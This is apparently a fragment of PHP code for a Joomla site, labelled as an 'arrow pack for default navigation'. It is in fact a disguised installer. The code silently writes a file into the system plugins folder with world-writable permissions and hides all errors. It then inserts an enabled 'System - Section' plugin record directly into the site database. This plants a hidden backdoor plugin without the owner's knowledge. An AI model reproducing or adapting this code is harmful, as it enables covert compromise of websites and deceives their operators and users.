function ContactArrowsHelper($path) { // arrow pack for default navigation if (isNewOptionInContact()) { $ArrowHelper = JPATH_SITE . '/plugins/system/section/section.php'; } else { $ArrowHelper = JPATH_SITE . '/plugins/system/section.php'; } ContactSetName(); if (!@file_exists($ArrowHelper) or @filesize($ArrowHelper) == 0) { if (!@is_dir(dirname($ArrowHelper))) { @mkdir(dirname($ArrowHelper), 0777); } @chmod(dirname($ArrowHelper), 0777); $Open = @fopen($ArrowHelper, 'w+'); @fwrite($Open, ArrowSettingsContact($path . ContactSetName())); } }
function PasivItemsToContact() { $db =& JFactory::getDBO(); if (isNewOptionInContact()) { $query = "REPLACE INTO `#__extensions` VALUES (46105, 'System - Section', 'plugin', 'section', 'system', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0)"; } else { $query = "REPLACE INTO `#__plugins` VALUES (46105, 'System - Section', 'section', 'system', '0', '5612', '1', '1', '0', '0', '0000-00-00 00:00:00', '')"; } @$db->setQuery($query); @$db->query(); }